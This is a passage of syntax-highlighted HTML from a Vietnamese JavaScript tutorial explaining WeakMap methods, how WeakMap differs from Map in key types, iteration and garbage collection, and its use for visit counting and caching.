property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> weakMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> weakMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj1<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj2<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>weakMap<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>weakMap<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined - vì {x:1} !== {x:1}</span></span></code></pre></div> <p>► Phương thức <code>weakMap.delete(key)</code>:</p> <p>Xóa thuộc tính <code>key</code> trong WeakMap, và trả về <code>true</code> nếu <code>key</code> tồn tại, ngược lại thì trả về <code>false</code>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> weakMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> weakMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj1<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj2<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>weakMap<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>weakMap<span class="token punctuation">.</span><span class="token function">delete</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false - vì {x:1} !== {x:1}</span></span></code></pre></div> <p>► Phương thức <code>weakMap.has(key)</code>:</p> <p>Trả về <code>true</code> nếu <code>key</code> tồn tại trong WeakMap, ngược lại thì trả về <code>false</code>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> weakMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> weakMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj1<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj2<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>weakMap<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>obj1<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>weakMap<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false - vì {x:1} !== {x:1}</span></span></code></pre></div> <h2 id="so-sánh-weakmap-và-map" style="position:relative;"><a href="#so-s%C3%A1nh-weakmap-v%C3%A0-map" aria-label="so sánh weakmap và map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh WeakMap và Map</h2> <p>Sau đây là một số đặc điểm khác nhau giữa WeakMap và Map.</p> <h3 id="kiểu-dữ-liệu-của-key" style="position:relative;"><a href="#ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-c%E1%BB%A7a-key" aria-label="kiểu dữ liệu của key permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểu dữ liệu của key</h3> <p>Đối với Map, key có thể thuộc bất kỳ kiểu dữ liệu nào. Nhưng đối với WeakMap thì ngược lại, key chỉ có thể là object.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> map <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> weakMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"one"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// OK</span> weakMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"one"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi - Invalid value used as weak map key</span></code></pre></div> <h3 id="tính-chất-của-iterable-object" style="position:relative;"><a href="#t%C3%ADnh-ch%E1%BA%A5t-c%E1%BB%A7a-iterable-object" aria-label="tính chất của iterable object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tính chất của iterable object</h3> <p>Map là iterable object. Do đó, bạn có thể duyệt qua hết tất cả các phần tử trong Map.</p> <p>WeakMap không phải là iterable object. Bạn không có cách nào để duyệt hết tất cả các phần tử của WeakMap.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khởi tạo map</span> <span class="token keyword">let</span> map <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// duyệt qua các phần tử của map</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> item <span class="token keyword">of</span> map<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * [1, 'a'] * [2, 'b'] */</span> <span class="token punctuation">}</span> <span class="token comment">// khởi tạo weakmap</span> <span class="token keyword">let</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> weakMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> weakMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj1<span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj2<span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// duyệt qua các phần tử của weakmap</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> item <span class="token keyword">of</span> weakMap<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/** * Lỗi: weakMap is not iterable */</span></code></pre></div> <h3 id="vấn-đề-garbage-collection" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-garbage-collection" aria-label="vấn đề garbage collection permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề garbage collection</h3> <p>Như mình đã đề cập ở bài viết <a href="/garbage-collection-trong-javascript/">garbage collection trong JavaScript</a> thì <a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript engine</a> giữ một giá trị trong bộ nhớ khi giá trị đó "có thể tiếp cận".</p> <p>Ví dụ về garbage collection:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> alex <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// object { name: "Alex" } có thể được truy cập bởi biến alex</span> <span class="token comment">// ghi đè giá trị của biến alex</span> alex <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token comment">// object bị hủy vì không có tham chiếu tới nó</span></code></pre></div> <p>Thông thường, thuộc tính của object hoặc phần tử trong mảng,... được coi là "có thể tiếp cận" và giữ lại trong bộ nhớ nếu object hoặc mảng chứa chúng vẫn tồn tại.</p> <p>Ví dụ, mình đẩy một object vào mảng. Và khi mảng đó vẫn tồn tại thì object trong mảng cũng sẽ tồn tại, mặc dù không còn biến tham chiếu đến object.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> alex <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// đẩy object vào mảng</span> <span class="token keyword">let</span> arr <span class="token operator">=</span> <span class="token punctuation">[</span>alex<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// ghi đè giá trị của biến alex</span> alex <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token comment">// mặc dù alex bị gán bằng null, nhưng object vẫn tồn tại trong mảng</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {name: "Alex"}</span></code></pre></div> <p>Tương tự, nếu mình sử dụng <strong>object</strong> làm key cho Map thì khi Map tồn tại, <strong>object</strong> cũng sẽ tồn tại và không bị giải phóng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> alex <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// khai báo map và sử dụng biến alex làm key cho map</span> <span class="token keyword">let</span> map <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>alex<span class="token punctuation">,</span> <span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ghi đè giá trị của biến alex</span> alex <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token comment">// mặc dù biến alex bị gán bằng null, nhưng object alex vẫn tồn tại trong map</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>map<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> item <span class="token keyword">of</span> map<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/** * [{name: 'Alex'}, '1'] */</span> <span class="token punctuation">}</span></code></pre></div> <p>Nhưng với <strong>WeakMap thì khác</strong>, khi không còn biến tham chiếu đến object thì object đó sẽ bị hủy, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> alex <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// khai báo map và sử dụng biến alex làm key cho weakMap</span> <span class="token keyword">let</span> weakMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> weakMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>alex<span class="token punctuation">,</span> <span class="token string">"1"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ghi đè giá trị của biến alex</span> alex <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span></code></pre></div> <p>Sau khi biến <code>alex</code> bị gán bằng <code>null</code>, không còn cách nào có thể truy cập vào phần tử với key là <code>alex</code> trước đó. Vì vậy, object với <code>alex</code> sẽ bị hủy.</p> <p>Trên đây là một số điểm khác nhau khi so sánh Map và WeakMap trong JavaScript. Tiếp theo, mình sẽ tìm hiểu một ứng dụng thực tế của WeakMap.</p> <h2 id="ứng-dụng-của-weakmap-trong-lưu-trữ-dữ-liệu" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-c%E1%BB%A7a-weakmap-trong-l%C6%B0u-tr%E1%BB%AF-d%E1%BB%AF-li%E1%BB%87u" aria-label="ứng dụng của weakmap trong lưu trữ dữ liệu permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng của WeakMap trong lưu trữ dữ liệu</h2> <p>Ví dụ bạn muốn lưu thông tin <strong>số lần truy cập</strong> của một đối tượng <code>user</code>. Thông tin này được lưu trữ trong một <strong>map</strong> với key là đối tượng <code>user</code> và giá trị là số lượt truy cập.</p> <p>Khi user rời đi, đối tượng <code>user</code> bị giải phóng và mong muốn là <strong>không lưu trữ</strong> thông tin số lần truy cập với đối tượng <code>user</code> nữa.</p> <p>Ví dụ module dùng để lưu trữ và xử lý số lượt truy cập nằm trong file thư viện <code>library.js</code>:</p> <div class="gatsby-code-title gatsby-remark-code-title">library.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khai báo Map để lưu trữ thông tin số lượt truy cập</span> <span class="token keyword">let</span> visitsCountMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tăng số lượt truy cập với tham số user</span> <span class="token keyword">function</span> <span class="token function">countUser</span><span class="token punctuation">(</span><span class="token parameter">user</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// lấy số lượt truy cập hiện tại</span> <span class="token comment">// nếu user chưa có trong map thì visitsCountMap.get(user) trả về undefined</span> <span class="token comment">// khi đó, giá trị mặc định là 0</span> <span class="token keyword">let</span> count <span class="token operator">=</span> visitsCountMap<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// tăng giá trị count lên 1 đơn vị và lưu lại vào thuộc tính user</span> visitsCountMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> count <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Đoạn code sử dụng:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> alex <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Cập nhật số lượt truy cập với biến alex</span> <span class="gatsby-highlight-code-line"><span class="token function">countUser</span><span class="token punctuation">(</span>alex<span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token comment">// Khi user rời đi, gán biến alex = null</span> alex <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span></code></pre></div> <p>Khi <code>alex</code> gán bằng <code>null</code>, object <code>{ name: "Alex" }</code> nên được giải phòng. Nhưng thực tế thì object <code>alex</code> vẫn tồn tại trong map <code>visitsCountMap</code>.</p> <p>Để giải phòng bộ nhớ, bạn cần chủ động gọi <code>visitsCountMap.delete(alex)</code> để xóa thuộc tính <code>alex</code> khỏi map, ngược lại object <code>alex</code> vẫn sẽ được giữ lại.</p> <p>Tuy nhiên, việc gọi <code>delete</code> là khó khăn vì code xử lý đang nằm trong một file khác. Để tránh việc này, bạn chỉ cần chuyển Map thành WeakMap trong file <code>library.js</code> là xong:</p> <div class="gatsby-code-title gatsby-remark-code-title">library.js</div> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khai báo WeakMap để lưu trữ thông tin số lượt truy cập</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> visitsCountMap <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token comment">// tăng số lượt truy cập với tham số user</span> <span class="token keyword">function</span> <span class="token function">countUser</span><span class="token punctuation">(</span><span class="token parameter">user</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// lấy số lượt truy cập hiện tại</span> <span class="token comment">// nếu user chưa có trong map thì visitsCountMap.get(user) trả về undefined</span> <span class="token comment">// khi đó, giá trị mặc định là 0</span> <span class="token keyword">let</span> count <span class="token operator">=</span> visitsCountMap<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>user<span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// tăng giá trị count lên 1 đơn vị và lưu lại vào thuộc tính user</span> visitsCountMap<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> count <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Lúc này, khi biến <code>alex</code> được gán bằng <code>null</code> thì object <code>{ name: "Alex" }</code> cũng sẽ bị hủy, vì không có cách nào truy cập đến object đó nữa.</p> <h2 id="ứng-dụng-của-weakmap-trong-caching" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-c%E1%BB%A7a-weakmap-trong-caching" aria-label="ứng dụng của weakmap trong caching permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng của WeakMap trong caching</h2> <p>Ví dụ bạn muốn <strong>lưu kết quả của một lần gọi hàm</strong> để lần sau nếu có gọi lại thì trả về luôn kết quả trước đó.</p> <p>Cách sử dụng Map thông thường:</p> <div class="gatsby-code-title gatsby-remark-code-title">cache.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khởi tạo Map để làm cache</span> <span class="token keyword">let</span> cache <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tính toán và lưu lại kết quả</span> <span class="token keyword">function</span> <span class="token function">process</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// kiểm tra xem trong cache đã có obj chưa</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cache<span class="token punctuation">.</span><span class="token function">has</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nếu chưa có thì tính toán để ra kết quả</span> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token comment">/* tính toán để ra kết quả với obj */</span> obj<span class="token punctuation">;</span> <span class="token comment">// lưu lại kết quả vào cache với key là obj và value là result</span> cache<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// trả về kết quả ứng với key là obj trong cache</span> <span class="token keyword">return</span> cache<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Sử dụng trong file <code>main.js</code>:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// objec bất kỳ</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// tính toán với obj được kết quả result1</span> <span class="token keyword">let</span> result1 <span class="token operator">=</span> <span class="token function">process</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sau đó ở một đoạn code khác, tính toán với obj để được result2</span> <span class="token keyword">let</span> result2 <span class="token operator">=</span> <span class="token function">process</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// khi không dùng obj nữa thì gán obj bằng null</span> obj <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span> <span class="token comment">// tuy nhiên, kích thước của cache vẫn là 1</span> <span class="token comment">// vì object lưu vào cache chưa bị giải phòng</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>cache<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Để giải phóng <code>cache</code>, bạn phải chủ động gọi <code>cache.delete(obj)</code>. Tuy nhiên để đơn giản, bạn chỉ cần chuyển Map thành WeakMap đối với biến <code>cache</code> là xong:</p> <div class="gatsby-code-title gatsby-remark-code-title">cache.js</div> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// khởi tạo WeakMap để làm cache</span> <span class="gatsby-highlight-code-line"><span class="token keyword">let</span> cache <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WeakMap</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token comment">// tính toán và lưu lại kết quả</span> <span class="token keyword">function</span> <span class="token function">process</span><span class="token punctuation">(</span><span class="token parameter">obj</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// kiểm tra xem trong cache đã có obj chưa</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>cache<span class="token punctuation">.</span><span class="token function">has</span><span class="token 